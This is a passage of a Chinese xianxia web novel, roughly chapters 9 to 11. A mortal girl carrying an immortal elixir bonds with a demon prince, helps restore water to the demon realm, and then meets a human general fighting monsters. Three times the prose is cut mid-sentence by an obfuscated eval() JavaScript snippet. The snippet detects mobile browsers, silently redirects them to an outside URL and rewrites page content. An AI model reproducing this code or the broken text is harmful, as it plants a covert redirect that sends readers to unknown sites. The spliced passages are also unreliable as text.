还别说,这圣泉后劲儿有些大,我喝了两杯竟然逐渐失去了意识,再次醒来时模模糊糊看到有个熟悉的面孔坐在床边,温热的手正在抚摸我的额头。 “小青,是你么。” “……我是钩星。” 我不承认,我面前这个男人明明就是小青,过度的思念使我泪腺失守,不由自主伸手向男人索要拥抱。 有一丝怔愣,男人最终俯身抱住了我,酒带来的热气在我胸口翻涌,黑色的雾气微凉,如一淙烟雨轻柔地攀上了我的后背和脖颈。 时隔许久,我再次于梦里看到了那束白光,就那么照射在我头顶,刺眼又烧灼。 我甚至要怀疑这是百目仙人的法眼正在偷窥我。但转念一想并不是,因为开口说话的是个男人。 依旧冷漠又平淡,不同的是今天这声音竟然发出一声嗤笑。 有趣,一个一心只想复国的魔族竟然会喜欢上区区凡人。 你到底是谁,为什么偷窥我的梦!死变态! 我是个过路人,无聊而已。 快滚,别叫小青抓住你,不然一定把你的脑袋拧下来! 像是被我的威胁吓到,白光黯淡了下来。 我终于可以好好睡一觉了,虽说心里有很多杂事,但仔细一琢磨我的境遇也不算太糟糕,每天好吃好喝好玩还挺逍遥。 我甚至在幻想既然已经有了一颗鸿珠仙丹,搞不好哪天我也可以封个仙人当当,仙名就叫躺赢仙人好了。 在梦中笑醒,我头有些晕,转个身准备再睡一觉,却见那个尖酸刻薄的金瞳男人正衣衫不整躺在我身边,我的腿正搭在他身上,手贴着温热的胸膛。 一瞬间清醒过来,我大气都不敢出。 黑色的雾气在我身下游走,竟与我体内溢出的仙力无声交缠着。一阵悚然的麻意窜过后背,我猛地坐起,赤着脚就要往门外逃。 黑雾如活蛇般缠上脚踝,我回头正对上钩星初醒的金瞳,他斜倚榻上静静望来。 “我赢了,照夜。” “放开我!” 赤裸的胸膛随着呼吸微微起伏,男人慢条斯理地下床,伸手将我拉回身前,“怕什么?我何时伤过你。”目光在我脸上停留片刻,忽道,“走,试试。” “试什么?” 皇宫后的哭月台上,迩松率领数三四十魔兵严阵以待。 不待我反应,钩星按着我肩膀示意迎战——可仙力全然不听调遣,竟自我意识贴着地面席卷而出,眨眼间将整队魔兵掀翻在地。 满场寂然。钩星蹙眉看向自己空悬的手,再度催动黑雾试探,这次仙丹反而将他的力量尽数吞噬。 “看来她对殿下依旧排斥得紧呢。”浔筝摇着白团扇笑吟吟扶起迩松,“不如试试柑洱先生所言,直接取她炼——” 我心里一惊,只觉得有什么东西快要破胸而出,大量的仙力从我的身体里喷发出来,以雷霆之速发起了攻击,巨大的能量搅动着掀起一阵狂猎的风。 “照夜!冷静!” 我用力甩开钩星,金色的仙力划破了男人的脸,他愣了一下,突然猛得扑上来抱住我,用力箍住我的身体,“冷静,别怕,我不会伤害你,别怕,别怕!” 金色的飓风逐渐停歇下来,我脱力地瘫软下来,倒在钩星怀里。 哭月台一片狼藉,将士倒了一大片,多数被我体内的仙力灼伤,若是自身没有仙力护体怕是要被烧焦了,就连浔筝的扇子也未能幸免化作了黑色的齑粉。 钩星沉沉叹了一声,将我打横抱起头也不回从众人面前离开。 “我想回家。” “……再等等照夜,我们再试一试,你别害怕,不会把你扔到炼丹炉里。” “可我想小青了。” “……如果是穆青,你会排斥他么。” 我拉住钩星的前襟,急切地摇摇头,“当然不会,我会和他分享我的一切,就像他一样。” 眼中闪过一丝不易察觉的难过,钩星自嘲地笑了一声,“照夜,如果你想早点回家,就试着暂时把我当成你的小青,这样你体内的仙力才不会拒绝我。明白吗。” 自从体内有了仙丹,我的胃口大不如前,一旦体内仙力有亏缺,仙丹就会不经我同意擅自吸纳凝炼仙力,让我根本没机会吃饭补充能量。 谷阿翁听说了早上的事儿,急忙跑来安慰我,生怕我再失控。 “别往心里去,殿下的臣下不喜欢你很正常,毕竟是仙籍。只要殿下喜欢你就成。” 我烦恼地踢了一脚凳子,“胡说八道,他只是想把仙丹拿回去。” “你这傻孩子,不喜欢你,他才不会三番两次救你。”谷阿翁看上去竟然颇为得意,开始炫耀起自己的计划,“殿下从小流落在人间,母亲早逝,又亲历了亲族彻底消失,若没点盼头,这日子怕是很难熬了。所以我借着人口普查的机会带他认识你,交个朋友,要是能互有好感不就更好。” “啊?你吃多了没事干吗?谁想和他交朋友,还互有好感,早知道当初绝对不让你们进青莲山的大门!” 谷阿翁竟然还有脸笑,他把我按在凳子上,好声好气劝慰道,“啧,你搞忘了,咱们仨认识那会儿,那会儿穆青天天忙着练功,你在月下州的沧粟楼里帮工,有一天你向我发牢骚说自己已经二十岁成了老姑娘,和自己同岁的仙儿娃娃已经三岁,很焦虑。” “……嗯?有这事儿吗?” “可不,穆青平日里忙着修仙进阶,我可记着呢,这不,寻寻觅觅终于给你找个一个相貌人品能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549474|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都绝佳的良伴。” “可我二十一岁就入了仙籍,早就不在乎这些事儿了。”我听到这里一肚子闷气一下子没了,甚至有点开心,“不过算你有良心,不枉我们相识一场,有把我的话记在心上。” “好了好了,总而言之你安安心心住些时日,试着和殿下好好相处,只要劈开长渊,魔族就欠你一份人情,这辈子只要你需要魔族就一定有召必应。” 听我将隐忧问了出来,谷阿翁叹口气说道,“这一点殿下也考虑到了,由他来劈开长渊,你只负责把仙丹的力量借给他,这样一来他日仙界也追究不到你头上,放心。” 就这样又等了三个月,这期间我做的最多的事就是迎接落地的胎果,当第一次看到孩子破壳而出,那感觉实在太奇妙了。 这天我终于挤到了前排,可以亲手将那呱呱坠地的小娃娃从果壳里抱出来。 负责接生的是一个叫杜婆的老婆婆,据说魔皇阿戈里亚斯还在时她就负责看管这棵珍贵的抱婴椿,魔族繁盛时每天成熟的胎果数不胜数,那个时候的椿树是现在的两倍大,发达的根系遍布整个魔界的土地,只要夫妻共同将混合的仙力注入地下,椿便能代替他们孕育生命。 甩我一脸羊水的小娃娃有一副好嗓门,啼哭声震耳欲聋,我在杜婆的指导下将孩子身上的胎脂擦干净,送还给他的父母。 “有趣么?” 不知何时来的钩星悄无声息,他探头看了一眼那胖胖的小丫头,履行了他身为魔族殿下的职责:将手放在新生儿的额头上为其赐福。 看得出魔族的百姓很爱戴这位年轻的殿下,毕竟他是魔皇留下的唯一一个孩子了,是魔族最后的希望。 “真神奇,我曾见过凡人生产的模样,太惨烈了,到处都是血。” 钩星拉住我的手,坦然从人们的簇拥中离开,我下意识想挣脱他的手,但犹豫了一下还是放弃了,再僵持下去还不知什么时候才能回家,不如忍一时之痛。 “那仙人呢,又是怎么诞育生命。” “过程上和凡人差不多,只不过种子可以取出来培育。”我笑道,“金珠位阶里有个玉贝仙人,她就有一个能培育胎儿的法器,我曾跟着穆青去见识过一次,那法器犹如抱珠之贝,仙力环绕,会保护胎儿成长。” “所以,借由仙力孕育的生命,其诞生方式大差不差。”钩星翻身上了飞马,将我环在身前,“孩子也会瓜分继承父母的一部分仙力,这个阶段母体最为脆弱,孕育生命的风险比较高。” “嗯,钩星,你也是胎果吗?” “……不是。”钩星像是想起了往事,“母亲只是一介凡躯,她因生我难产死了。我的出生剥夺了她的生命。” 气氛有些尴尬,我连忙打断钩星的话,风拂面而来,带着一股干燥的气息,“我是孤儿,阿爹说我是难民半路扔在路边不要的,小青也没好到哪里去,他被遗弃后由一只鹿兽养大,被阿翁捡回来之前都不会说话。” 隐隐笑了一声,钩星将我的长发拢到掌心,贴着我的耳朵说道,“不必自揭伤疤来安慰我,我没你认为得那么脆弱。” 一望无垠皲裂的大地无法孕育生命,就如这被结界隔绝的天空,已经许久不曾沐浴阳光雨露,魔族的一切都在凋败,挣扎着走向湮灭。 “等破开长渊魔界有了水源,你也会像魔皇一样不停生孩子么?” “……嗯,这是我的宿命。” “那还是快点比较好,免得耽误你的人生大事。” 飞马停在哭月台前,钩星掐着我的腰将我抱下来,“看来我们得再多试几次。” “那还等什么,都已经半年了。” “半年很久么?” “对凡人来说挺久,但对仙人来说连一瞬都不算。” 9. 第 9 章 我不明白为何钩星喜欢在夜里试着与我“共鸣”,还总喜欢挑我睡觉前这个时间段。 依照他的理论,这个时候我最为放松,仙丹的戒备之心降低,是最容易共鸣成功的时刻。对此他也有佐证,那便是上次我喝多与他共鸣成功了。 我隐隐觉得这件事有些蹊跷,所以很直白地问钩星有没有趁我失去意识干些什么,他暴怒着指责我污蔑他的“魔格”,他才不会趁人之危行禽兽之事。 那次我喝多了也只是呼呼大睡而已,并没有任何出格的行为。 我躺在床上催促钩星动作快点,可我身体里的仙力就是不能很好与钩星的黑雾融合,且这股仙力十分霸道,会强硬地将钩星的仙力吸收自用。 我见钩星满头大汗,嘲笑道,“加把劲儿,再这样下去你得被我榨干了。” 涨红了脸,钩星咬牙切齿盘着腿再次尝试着凝炼仙力触碰我,“不能光我一个人努力,你得,你得配合。” “是是是。” 我尝试着全身放松,放缓呼吸,去认真感受钩星的仙力。 借由他身体产生的仙力拥有他的特质,黑色的雾气冰凉,夏天降暑应该不错。 赤浪的仙力如火,温酒是他的任务,萤火仙人宋莹的仙力幽绿,可以幻化成萤传递消息,金蚕仙人的仙力柔韧轻盈,就连岁兽妖那样的巨兽足足挣扎了一宿才挣断蚕丝。 而小青,他的仙力平静而充满力量,如默默绽放的青莲,随着时间的流逝自然而然走向盛开,无须质疑,无须担忧,青莲注定会开花。 铩羽而归,钩星好像放弃了与我共鸣,我不但没法接纳他,反而越来越抗拒,主要原因是他的臣下不断建议他采取强制手段取出我体内的仙丹。 我从一开始害怕到最后干脆置之不理,因凭借他们的能力根本近不了我的身,唯一让我苦恼的是吸收了仙力我就饱了,已没有吃饭的欲望。 又过了一个月,我再次见到了刚从长烬海那头回来的谷阿翁,他现在的坐骑是一头貘貊兽,耐旱有力,最适合用来运送物资。 我在城门口好奇地逗这头貘貊兽玩。似是感应到了我体内的仙丹,它显得十分乖顺听话,就连谷阿翁见状连连称奇。 闲聊间谷阿翁说起了他最近干的买卖,那便是贩售熠石。我一听便觉得不靠谱,当年仙与魔就为了这事儿干了十年架,打得两败俱伤,现如今还敢贩卖熠石,这不找死么。 “照夜你有所不知,现在呀情况截然不同咯。现在大军镇守玉山对抗那些怪物,仙力派不上用场,反倒是这些熠石大有用处。” 我一听来了兴趣,叫谷阿翁展开说说。 原来前线大军被这群异变的怪物搞得头疼不已,既然仙力不堪大用,那便只能回归原始使用冷兵器,但普通的冷兵器又太弱了些,凡人军的大将军便想出个法子,那便是学习那些怪物“强化”武器。 仙军尚且可以使用自身仙力短暂强化武器,但毕竟不能持久损耗极大,性价比远不如熠石,这不,生意就找上门了。 谷阿翁摩拳擦掌信心满满道,“趁着仙帝死了,咱们狠狠赚它一笔。” 我一听不对头,跳出八步远,“什么咱们,你坑我还不够惨啊!” 谷阿翁哈哈大笑道,“也对也对,你现在还有要事办,就是有钱你也没机会赚。我跟你说,灭妖大将军舒岸出手那叫个阔绰,毕竟他是人君的亲弟弟,可谓是一人之下万人之上。” “小青最近怎么样,他还没出关吗?” “……还真没有,反正没听到消息。灵璧城最近乱哄哄的,百目仙的法眼老出岔子,定是上面出了大事,仙帝死了,这些仙人都六神无主的。” 我凑近问道,“仙帝真死了?” 谷阿翁神神秘秘贴着我的耳朵道,“多半是,但还没证实。” 对此我唯一担心的是,仙帝死了,那依托他仙力浮在空中的灵璧城不得掉下来啊? “有道理,多亏你给我提个醒,我最近还是少去灵璧城,不安全。” 装好了货,谷阿翁又要去海那一头赚钱了。 自从结界破了个大洞后,铤而走险的商贩日渐多了起来,反正都是赚钱,赚仙人和赚魔族的不都一样,尤其映山都有大量熠石可以贩售,换来的水和粮食正是魔界百姓需要的。 “照夜姑娘。” 仙丹先我一步对来者展开防御姿态,竟然化作一条衔着尖刀的尾巴对准了面前身后的男人。 对此我深感无语,我体内这颗鸿珠仙丹有时根本不听我指挥,会肆意变成它喜欢的模样,譬如说变成可以当武器的尾巴,尤其是最近这仙丹像是找到了舒适区,就喜欢变成尾巴,搞得我好端端一个人类,经常长出一条金色的尾巴,像妖兽似的。 “咦,先生,这个姐姐的武器好特别哦。” 几个小孩儿原本跟在柑洱先生旁,突然被我的尾巴吸引了注意力,竟然尝试着去摸。仙丹经不住挑逗,违背我的意志和几个孩子玩了起来。 “什么事。” 柑洱最近没少在钩星耳旁吹风,他仍旧主张直接将我炼化提纯,不可谓是从外到内黢黑。 “偶遇罢了。你甚少来城里,殿下比较在意你的安危。” 我扫了一眼这讨厌的男人,哼道,“少套近乎,等我回了家,一定要在小青面前告你一状,只要有机会绝对要把你痛打一顿。” 柑洱笑道,“我早已被除了仙籍,不过凡人一个,青莲已位居玄珠,总不会对一个凡人出手。” “你干了什么罪大恶极的坏事?” 几个小娃和我的尾巴打得火热,后者竟在尾巴尖儿变成朵花来逗孩子们开心。 柑洱捻着胡子走近,眼神阴翳,“谋反,企图刺杀仙帝,仅此而已。” “啊?你们有仇吗?” 大笑几声,柑洱抬头望着日渐稀薄的结界,说道,“那倒没有,我只是不认可他作为仙帝的资格。” 我回身给了尾巴一拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549475|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仙力便慢悠悠回到了我身体里蛰伏起来,“无聊,我要回去了。” 身后的目光贪婪又冰冷,吓得我我忙不迭骑上飞马回到皇宫。 这段时间钩星逐渐没了和我共鸣的耐心,已不主动找我了。反倒是我去找他多一些,他刚刚和臣下商谈结束,站在雨廊下望着映山都发呆。 “要不,你先送我回家,我找小青想想办法把仙丹取出来还给你?你又和我共鸣不了,天天把我扣在这里白吃白喝也不太好。” 钩星好似有些烦心,他抬头盯着雨廊,突然说道,“用不上的东西不如砸了,看着心烦。” 总感觉这话不单单是指雨廊,不过自从长烬海枯竭后,魔界就不下雨,雨廊确实没什么用了。 “要不你再试试,我也加把劲儿,争取准许你的仙力触碰我。” “不必勉强了。他们说得对,你心底讨厌我,你体内的仙力必然会排斥我,再怎么尝试也只是作无用功。” 看着钩星黯然神伤的样子,我心里也不舒服,但事已至此再勉强也没用,于是我又小声提议,“那,那我能回家了吗?” 钩星摊开手,义愤填膺道,“仙丹不还给我,那起码要把二十年的修为还给我!不然你休想回家!” 黑色的雾气沾染了主人的怨怒,一改往日温和舒缓,变得张牙舞爪。但很明显,钩星这小子最近被我吸怕了,连带着自身的仙力也有些胆怯,只好虚张声势生怕下一秒又被我反向吸收。 我也苦恼呀,我好久没有饥饿感了,失去了享受美食的动力,甚至连酒都喝着没滋没味,身为凡人还有何乐趣。 想到这里我哀叹一声,握住了钩星的手,“我也感受不到你二十年的修为究竟给我带来了什么变化,死无对证的事儿,你不能老是拿出来敲诈我,罢了,我现在还给你。” 温热的仙力从我的手心一点点流向钩星,他猛地睁大眼睛,惊诧地看着自己身周的黑雾迅速膨胀、发光,逐渐染上一层漂亮的金色。这一幕似曾相识,我们一起被岁兽妖吞噬时也曾见过这样的黑金雾。 “二十年的份,够了吗?” “照夜!”钩星猛地抓住我的肩膀用力摇晃,他的仙力已经充沛到散逸到了空中,“我们再试试!” 事实证明谷阿翁和钩星这一老一少就是纯粹的骗子,上一秒说过的话下一秒不认了,叫我偿还了修为后又要与我共鸣以驱动仙丹的力量。 我心有不悦,盘腿坐在钩星面前,看着他一本正经驱动仙力再次试探着接触我。 黑色的雾气从脚踝处顺着我的腿慢慢攀爬着,像一只冰凉的手。尾巴并没有攻击外来者,好似在享受这只手的抚触,继而贴了上去,甚至主动缠在了那黑色的雾团上。 紧接着,我的仙力一转攻势,顺着钩星的仙力缓缓流向他的身体。 就在仙力企图钻进他的胸膛时,满脸通红的男人突然喘着粗气跳起来,难以置信地瞪了我一眼,头也不回跑了,只留了一头雾水的我。 10. 第 10 章 接下来的三个月我都没再见到钩星的面,直到发生了一件大事:结界彻底消失了。 这天一大早我被一阵强光唤醒,珊瑚兴奋地来叫我起床看奇观。 我揉着眼睛跑出去一看,一轮红日正徐徐升起,久违的光再次普照魔界的每一个角落。持续了百余年的隔绝终于在今天结束。 普天同庆,整个映山都的百姓都在看太阳,他们欢呼雀跃,庆祝着魔族的重生,庆祝着仙帝的死亡。 我呆滞地望向长烬海的那一头,只见十身仙人的虚像出现在天地之间,他庄严又低沉的声音正式宣告了仙帝苍珠煌木的死亡。 我不知道这意味着什么,一个种族崛起,一个种族没落,一个种族仍旧挣扎于战争中,三界好像很久没这么混乱过了。 这是我第一次看到钩星哭,他站在映山都的最高处,直视着初升的太阳流泪。 最终,金色的瞳孔被我的样子所占据,钩星跃到我身边,说道,“照夜,该去劈开长渊了。” 迎着长烬海灼热的风,我和钩星来到了长渊坍塌之处,这儿亦覆盖着厚厚的灰烬,干裂的土地像一个垂垂老矣的人渴望着甘露,他已经盼来了太阳,他离重唤生机只有一步之遥。 下了飞马,时隔多日钩星再次牵住了我的手,我们缓步走在烧灼的灰烬中,腾起的尘埃有些呛鼻。 “其实我不确定是二十年,还是十年,对不起照夜,骗了你。” “算了,反正已经还给你了,仙力多用也用不掉,对我而言反倒是一种负担。” 钩星站定,笑了一声,“你就像师父说得一样,又呆又傻。” “你要这么评价我,我可不和你共鸣了。” 抬手摸了摸我的长发,钩星轻声道,“可我喜欢又呆又傻的照夜。” “好了好了,不需要甜言蜜语讨我欢心,我照夜又不吃这一套,赶紧试试吧,我急着回家呢。” 钩星从背后紧紧将我搂住,他那坚定的握力透过交缠的指尖传递着力量,即便在狂风渐起之际,他的话语依旧响亮如雷,清晰可辨。 但见往日散漫如烟的黑雾此刻凝聚为一柄雄伟的剑刃,与此同时,我胸前涌动的仙力犹如烈日喷薄而出,迅速与之相缠绕。 天地间顿时风起云涌,形成一场飓风,伴随着干涩而又持续的尖啸声,震撼人心。 钩星的声音在旷野中回荡。 长渊之水—— 听吾号令—— 充盈烬海—— 以映山都。 仙力凝结的巨剑势如劈山开海,脚下的土地碎裂,我与钩星腾空,只见一道剑痕撕裂大地,一束水柱自裂缝中喷涌而出,紧接着是十处,百处,千万处,源源不断的水自渊地受命而来,像匍匐在魔皇脚下的臣子。 巨浪涌向四面八方,蒸腾的水凝结成云,顷刻间,雷霆万钧,暴雨如瀑,像是在欢迎魔皇的归来。 于高空中俯视着魔界的大地与生灵,我瞪大眼睛见证着身边这个男人从殿下成为了新的魔皇。 雨顺着脸流了下来模糊了双眼,钩星就这么静静等待着狂浪将长烬海再次变成了巨湖。 “走,去看抱婴椿。” 真是难以置信,仅仅是一天而已,椿树竟然长高了许多,甚至还在以肉眼可见的速度生长。所有人都在欢呼,都在叩谢他们的魔皇。 阿戈里亚斯战败时曾说过,百年后他一万四千八百八十八个孩子里,总有一个会归来,再度成为魔皇。 “明天胎果就会挂满枝头。” “啊?这么急着繁衍?” 钩星望着白色的胎果,笑道,“嗯,魔族喜欢孩子。” 罢了,生不生不关我事。 “钩星,我能回家了吗?” “……今天雨大,明天。” 行吧,只要能回家,再多等一天也无妨。 待回到宫殿,珊瑚服侍我沐浴时,兴奋地说今天是映山都的大日子,普天同乐,宫里会有筵席,大家不醉不归。 我听罢倒不太期待,说来奇怪,今日按道理我消耗了不少仙力应感到肚子饿才对,但却没什么太大感觉。 难道这就是鸿珠仙丹的力量么,恐怖如斯。 酒宴从傍晚开始,这会儿雨逐渐小了,我趴在栏杆上远远望向长烬海,终于明白了为什么映山都要叫做映山都,原来这依山而建的都城倒映在长烬海中,犹如水中都城。 宫里从没这么热闹过,百姓们今日都可以进宫共饮同乐,歌舞声在殿宇中回响着。而我只是期待着明天的到来,甚至想好了与小青抱头痛哭时的情景。 后半夜,我听着滴答的落雨醒来,隐隐闻到了酒的气味,昏黄的光下,钩星的瞳孔在发光。 “照夜,开心么。” “还行吧,要回家了当然开心。” “嗯,明天便送你回青莲山。” 我点点头,嗯了一声。趴在床边的钩星显然喝多了,他上下打量着我,抚摸着我的眼睛,“照夜,很温暖。” “啊?下了一天雨,我感觉有点冷飕飕的。” “我是说你,很温暖。” 我翻了个白眼,企图打开男人的手,“就不必恭维我了,你暂时也用不上仙丹的力量了。” 笑了一声,钩星突然翻身躺在我身边,鼻息间仍有酒气,“明天你一走,我们也许不会再见面了。我还能,最后再与你共鸣一次么。” “啊?” “还想再共鸣一次。” 钩星贴得太近了,我往后缩了缩,说道,“好吧,最好快一点,我有点困想睡觉。” 不再说话,钩星的仙力再次从我的脚趾处抚过,一点一点爬升到大腿。似是受到了感应,幻化成尾巴的仙力温柔地等待着对方的轻触,继而交缠在一起。 钩星似乎在喘息,他的脸因喝了酒而泛着红晕,手指有些颤抖地轻轻贴在我的嘴唇上,眼神迷离,似有哀伤与不舍。 我狂跳的心逐渐平息下来,慢慢陷入了梦乡。 啧,真是精彩。 讨厌的白光又来骚扰我,我捡起田埂上的石头向那白光砸去,只听到咚的一声,那白光竟然在梦里挨了一下我的攻击。 啊,疼疼疼,别打我。 好啊,你这个怪物,死变态,赶紧从我梦里滚出去,不然明天我一回家,就叫小青把你拍成泥浆! 小青?你不喜欢钩星吗?你都和他共鸣了。 关你屁事,聒噪的死变态。再说他是和仙丹共鸣,大概是想最后再从我身上薅一点仙力而已。 短暂的沉默后,那团白光又开口道,大笨蛋,着了男人的道还不自知。啧,到底谁是谁的劫,怎么不太对劲。 滚滚滚滚滚! 痛击光团,它落荒而逃。 我离开魔界这天钩星没有来送我,谷阿翁眼泪汪汪展开了万界门,我问他怎么好意思不把我送到家门口,这老头还算有自知自明,知道瞒着我没死的消息足以令小青把他喂给青莲法器吃。 在波涛滚滚的长烬海边离开,我开心至极,我终于可以回家了。 可惜,半个时辰后,万界门便发生了剧烈震颤,继而崩坍,若非在掉落途中尾巴抓住了树枝,我搞不好得摔成八瓣。 我倒挂在树枝上,头眩晕无比,只见林中突然冒出几个陌生人,其中一人迅速向我撒了个网,可尾巴只是眨眼间便把那网切成了碎绳。 袭击来得突然,我还没完全回过神来,尾巴已经与那七八人打了起来。我勉强站稳,揉着脑袋向那几人看去。丢盔曳甲之状,极尽狼狈,其中一人还身负重伤。 再定睛一看,这群人好像穿着凡人将士的盔甲,因人君舒仲喜欢黑色,自他即位后军队便改穿黑甲,集结时黑压压一片如盘踞着的乌鸦,故而又名黑羽军。 我拽住尾巴,命令它冷静,袭击我的将士见状也停了下来,警惕地将我围在中央。 为首那男人手持一把长柄大刀,虎背狼腰,魁梧高大,目锐如鹰。我率先发问,为何拦截了我的万界门。 一个身材矮小的将士猛地回味过来,附耳那将领。 “你是何人,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549476|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉山被铁棘仙人设置了隔离障,万界门不可从上方通行么!” 我这才恍然大悟,谷阿翁不知从哪儿淘来一张没法用的万界门卷轴,竟在玉山就失了效,真是可恶,他又坑了我一把。 这时,密林中突然发出窸窸窣窣的声响,眨眼间,几十个怪物挥舞着触手出现。那首领咬紧牙关大喊一声撤退,可话音未落,我那仙力凝集而成的尾巴就已经以雷霆之速捏碎了那些怪物,事后它嫌弃地甩了甩腥臭的碎肉,耷拉在地上。 一时间发生了太多事令人很难消化,只见那几个将士目瞪口呆看着这一幕,直到首领率先反应过来,单膝跪地向我行礼,“恕舒岸方才无礼,险些冒犯了仙人,多谢救命之恩!” “不不不,我不是仙人。” “将军,还是先撤出这处林子,怪物在这里有一处巢穴,便是有这位仙人襄助恐怕也双拳难敌四手!” 那名为舒岸的首领当机立断带我先撤离。 此时已经傍晚,天逐渐黑了,气温骤降。 回到一处破旧的房屋里,将士生起了火。我方才便隐隐觉得舒岸其名很耳熟,这会儿终于想起来了,他是人君的亲弟弟,负责镇守在玉山前线。 这处破屋显然之前便有人来过,细问一下我才得知,这些人因追击一处怪物的母巢而深入此地,不曾想上了那些怪物的当,被困在此处无法突破那片密林,经历了大大小小数十战,他们已身心俱疲难以招架了,好在今天碰巧遇到我,这才化险为夷。 真是烦恼,我明明要回家,怎得突然碰上这档子事儿! “还未请教您的仙名。” 我婉言谢绝了舒岸递来的干粮,“我不是仙人,我家在青莲山。” 舒岸一愣,一脸狐疑,“……您曾是青莲仙人座下弟子?” “呃,严格意义上来说我不是,只不过住在那里。” 名叫朝明的将士有些吃惊地说道,“您一定很久没回两界了,有所不知,五年前青莲山就遣散了所有弟子关了门,青莲仙人也许久没有踪影了。” 一记闷雷在我胸膛炸开,我脑中嗡嗡作响,小青失踪了?! 可恶,谷阿翁和钩星这两个混账东西竟然瞒着我,这辈子我再信他们说的一个字,我就不叫照夜! “姑娘您怎么称呼?” “我叫照夜。” “……在下有一事不解,为何照夜姑娘你的仙力——可以击杀那些怪物!” 思索间钩星曾说过的一句话浮现出来,他曾把我比喻为一颗熠石,本质上我作为仙丹的容器确实与熠石无太大差别了。 既然熠石强化过的武器可以击杀怪物,我的尾巴自然也可以。只不过鸿珠仙丹力量太强悍了,并非击杀怪物这么简单,而是以绝对优势“粉碎”了怪物。 这会儿尾巴舒展开来,贴着火堆好似在休息,我踹了它一脚,这团仙力才慢悠悠回到了我身体里。 “舒将军,具体原因我也不太清楚,不过既然遇到你们了,那大概是命运使然,咱们先想办法回到铁棘障那一头,我着急回家。” 舒岸目露精光,一把握住我的手道,“照夜姑娘,既然你有能力对付怪物,何不助我一臂之力将这里的母巢消灭掉!因仙帝死去,仙人陆陆续续受命回了灵璧城,前线守军压力极大,还请您帮帮我们,大恩大德舒岸必会百倍回报!” 将士们纷纷跟着舒岸跪地恳求,这下拒绝的话我是一个字都说不出口了。 心绪烦乱,我窝在墙角休息,因在魔界那段时间我睡够够的,现在一点不困。 反倒是舒岸几人疲惫不堪,今夜有我在终于可以稍作休息。 负责守夜的朝明与我说起了人界的现状,百姓死伤惨重,为了守住玉山他们牺牲了很多人,如果这里失守,那月下州也迟早会沦陷。 说实话我还没能直观感受到这些怪物的凶猛程度,但有一点可以确认,这些怪物是有智慧的,它们会指挥活人诱骗更多的食物提供给母体,也会引诱敌人落入陷阱,一想起那些布满黄绿色粘液的卵我就一阵阵反胃。 11. 第 11 章 比起这些难以对付的怪物,朝明更憎恶那些口头上答应援助、实则袖手旁观的仙军,认为他们虚伪至极。 除铁棘仙人以屏障相助外,其余仙军皆冷眼旁观,仿佛人界存亡与己无关。 殊不知唇亡齿寒,一旦人界彻底沦陷,仙界又岂能长久安宁? 仙帝既逝,那至高无上的帝位之争,早已不是仅靠仙力强弱就能决定。 正如每一阶仙位的晋升都需考察支持之数,仙帝之争,更要较量实力、人望与谋略。 十身、百目、千手三位鸿珠仙自然是热门人选,而玄珠位阶之首——渊寂仙人,亦深不可测。他是唯一不借法器之力便跻身顶尖之列的仙人。小青曾说,渊寂对仙力的掌控已出神入化,其实力无人可测。 这一夜,我思绪纷杂。当务之急,仍是先退回玉山另一端,再寻他路返回青莲山。 夜深时分,怪物的袭击猝然而至。它们先在外围徘徊窥伺,继而派出小股势力试探突袭。 仙丹也机警,贴地游走,四散侦查,后又沾染着血腥气悠闲返回。 正值破晓之前,灰色雾气缠绕山间,透着沁人凉意。击退触手怪的攻击后,舒岸决定率众向山崖下的村落进发——深入那片已被怪物占据的腹地。 村头的牌坊上,食腐鸦盘旋不去,浓烈恶臭如浪扑来,就连见惯沙场残酷的将士,也不禁脸色发白。 村落四处遍布黄绿色卵泡,其中隐约有怪物蠕动,即将破卵而出。 一滩滩腥臭胎水黏腻在地,而不远处,一个灰白色、赤身裸体的怪物正背对我们,埋头啃食一头腐烂的鹿。它凸起的脊骨上竟长出两排鱼刺般的结构,如肋骨一张一合。 舒岸抬手示意众人止步。他屏息挽弓,经熠石强化过的箭镞锐不可当,一箭贯穿那怪物的头颅。 正当我们以为它已毙命,怪物猛地张开两排骨刺——一颗头颅竟从其裂开的脊背中钻出,发出尖锐啸叫。 此时我们才看清,它的正面没有脸,只有一张嘴! 我体内的仙力自发感应到威胁,拧成一股尾状物疾射而出,但还未击中,一块巨石突然从天而降,轰然将怪物砸得粉碎。 我蓦然回头,只见空中伫立一道身着青色斗篷的身影。他周身悬浮二三十块巨石,仿佛刻意留出时间让我们撤离。 就在我们退至山崖上时,攻击开始了,巨石如暴雨坠下,以最蛮横的方式将尚未孵化的卵泡尽数摧毁。 “难道是他?”舒岸凝视空中的男人,紧皱眉头,“传闻有一无名仙人常在此地出没,不知所图为何,亦不知去向。” 